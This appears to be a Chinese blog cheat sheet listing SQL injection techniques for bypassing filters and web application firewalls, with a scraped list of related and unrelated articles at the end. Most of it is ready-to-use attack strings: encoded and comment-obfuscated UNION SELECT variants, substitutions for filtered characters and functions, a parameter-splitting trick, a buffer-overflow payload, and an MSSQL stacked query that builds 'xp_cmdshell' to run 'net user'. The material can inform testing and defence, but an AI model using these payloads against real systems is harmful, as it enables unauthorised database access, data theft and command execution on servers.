SQL注入绕过总结
花括号绕过
select{x password}from{database.user}
union select 1,{x 2},3
特征字符大小写绕过
UniOn SEleCt 1,2,3
MYSQL特性绕过-定义变量
union select @test=user(),2,3
双写绕过
UNunionION SEselectLECT 1,2,3,4
内联注释
- /!select/: 相当于没有注释
- /!12345select/: 当12345小于当前mysql版本号的时候,注释不生效,相当于select,当大于版本号的时候注释生效。假如mysql版本是5xx,则一般使用数字4xxxx
- /![]/: []中括号中的数字若填写则必须是5位
- /!12345order/!12345by*/3 这种也是可以的
- /!froM/%20/!InfORmaTion_scHema/.tAblES%20/!WhERe/%20/!TaBle_ScHEmA/=schEMA()--+
编码绕过
- URL编码(%+十六进制):%55nION//%53ElecT%201,2,3,4**
- 十六进制 str -> hex
- ascii编码绕过
- **unicode编码 **
- 单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
- 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
- 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
- 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
- 二次URL编码
特殊符号绕过
select+id-1+1.from users
注:字符串通过+、-操作时会自动转换成数字,字符串对应得是首字节对应的值(若首字节是字符则转换为0);
当过滤了from,即可使用,用-1+1.拼接from。
select@^1.from users
*作用同上,假如过滤了from,可以select ,@^1.from users 来拼接数据
id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell%20”net%20user”’);
id=1+(UnI)(oN)+(SeL)(EcT)
过滤逗号绕过
- join关键字
- union select 1,2,3 等价于 union select * from (select 1)a join (select 2)b join (select 3)c
- 假如在2回显,就可以在(select 2)改成(select payload())
- union select 1,2,3 等价于 union select * from (select 1)a join (select 2)b join (select 3)c
- from pos for len
- substr(version(),1,1) 等价于 substr(version() from 1 for 1)
- offset关键字
- 适用于limit中逗号被过滤的情况
- select * from users limit 2,1 等价于 select * from users limit 1 offset 2 都是从第三条记录开始取一条
- limit索引从0开始,代表第一条记录,limit index,num 从index开始取num条
- 比如limit 0,1 就是从第一条记录(包含第一条)开始取一条记录
- 适用于limit中逗号被过滤的情况
空格绕过
// () %0a ` 两个空格**
%09 %0A %0B %0D %a0
and or绕过
- and -> &&
- or -> || -> %6f%72%20%31%3d%31(or 1=1)
- xor -> |
- not -> !
=号绕过
- like 不加通配符的like和等号效果一致
- rlike 模糊匹配 只要字段中存在查找的值就会被筛选出来
- regexp 正则表达式匹配 与like用法一致
- !(table_schema<>database())
过滤函数
- sleep() -> benchmark()
- ascii = ord() -> hex() bin()
- group_concat() -> concat_ws()
- substr() = substring() = mid()
1号位
科学计数法
- 数字型: ?id=1.1union select 1,2,3--+
- 字符型: ?id=1'%1%2Eunion select 1,2,3--+
x@(%@ -@ +@ /@ %26@)
- 数字型: ?id=1-@ union select 1,2,3--+
- 字符型: ?id=1'-@ union select 1,2,3--+
摆烂~ 具体到 https://xz.aliyun.com/t/8490 查看
UNION,SELECT,WHERE
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
#Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
多参数请求拆分
**a=[input1]&b=[input2]**
此时在SQL语句中:
**and a=[input1] and b=[input2]**
可以将注入语句拆分:
**a=union/*;b=*/select 1,2,3--+**
**and a=union/* and b=*/select1,2,3--+**
缓冲区溢出
and+(select+1)=(Select+0xA*1000)+UnIoN+SeLeCT+1,2,version()--+
SQL注入绕过总结的更多相关文章
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- TSRC挑战赛:WAF之SQL注入绕过挑战实录
转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...
- SQL注入绕过的技巧总结
sql注入在很早很早以前是很常见的一个漏洞.后来随着安全水平的提高,sql注入已经很少能够看到了.但是就在今天,还有很多网站带着sql注入漏洞在运行.稍微有点安全意识的朋友就应该懂得要做一下sql注入 ...
- SQL注入绕过waf的一万种姿势
绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...
- SQL注入绕过技巧总结
1.SQL注入过程中的处理# 终端payload编码------>web服务器解码-------->CGI脚本解码------>web应用解码----->数据库解码 浏览器.代 ...
- 记某次sql注入绕过ids
昨天测试sql注入,发现个站,存在ids,一个单引号直接拦截,无论我怎么编码都不行,怕不是废了.. 灵机一动 基础探测 /*'*/ 报错 /*''*/ 返回正常 是字符串类型. 先本地测试 返回所有 ...
- 一次简单的ctf SQL注入绕过
注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array = array('table','union','and','or','l ...
- SQL注入绕过技巧
1.绕过空格(注释符/* */,%a0): 两个空格代替一个空格,用Tab代替空格,%a0=空格: % % %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方法,用注 ...
随机推荐
- 关于“TypeError: Assignment to constant variable”的问题解决方案
在项目开发过程中,在使用变量声明时,如果不注意,可能会造成类型错误比如: Uncaught (in promise) TypeError: Assignment to constant variabl ...
- Oracle 数据库应用开发 30 忌
原创 LaoYuanPython CSDN 今天 作者 | LaoYuanPython 责编 | 欧阳姝黎出品 | CSDN原力计划 引言 笔者及所在团队从 2000 年开始的 CRM 等 ...
- 重载(Overload)和重写(Override)的区别。重载的 方法能否根据返回类型进行区分?
方法的重载和重写都是实现多态的方式,区别在于前者实现的是编译时的多态性,而后者实现的是运行时的多态性.重载发生在一个类中,同名的方法如果有不同的参数列表(参数类型不同.参数个数不同或者二者都不同)则视 ...
- dos 循环读取当前文件夹下的视频名字
@echo off for /R %%i in (*.mp4) do ( echo -isma %%~nxi ) pause
- Jedis 与 Redisson 对比有什么优缺点?
Jedis 是 Redis 的 Java 实现的客户端,其 API 提供了比较全面的 Redis 命令 的支持:Redisson 实现了分布式和可扩展的 Java 数据结构,和 Jedis 相比,功能 ...
- 如何从https://developer.mozilla.org上查询对象的属性、方法、事件使用说明和示例
在https://developer.mozilla.org搜索要在前面加上指令 搜索之后点进去 进入之后就是这样的 在页面左边你可以选择自己要查询的对象 里面就是会有属性.方法.事件使用说明和示例.
- 学习Redis(一)
一.NoSQL 1.NoSql介绍 1.not only SQL,非关系型数据库,它能解决常规数据库的并发.IO与性能的瓶颈 2.解决以下问题: ① 对数据库的高并发读写需求 ② 大数据的高效存储和访 ...
- 007.iSCSI服务器CHAP双向认证配置
一 iSCSI和CHAP介绍 1.1 iSCSI 磁盘 iSCSI后端存储支持多种设备类型,主要有: 文件 单一分区(partition) 磁盘 数组 RAID LVM 本手册建议以裸磁盘vdb作为示 ...
- 几种常见布局的flex写法
flex布局目前基本上兼容主流的浏览器,且实现方式简单.我整理了flex的一些知识点,并且总结归纳了几种常见布局的flex写法 flex基础知识点 flex-grow和flex-shrink相关计算 ...
- JS练习实例--编写经典小游戏俄罗斯方块
最近在学习JavaScript,想编一些实例练练手,之前编了个贪吃蛇,但是实现时没有注意使用面向对象的思想,实现起来也比较简单所以就不总结了,今天就总结下俄罗斯方块小游戏的思路和实现吧(需要下载代码也 ...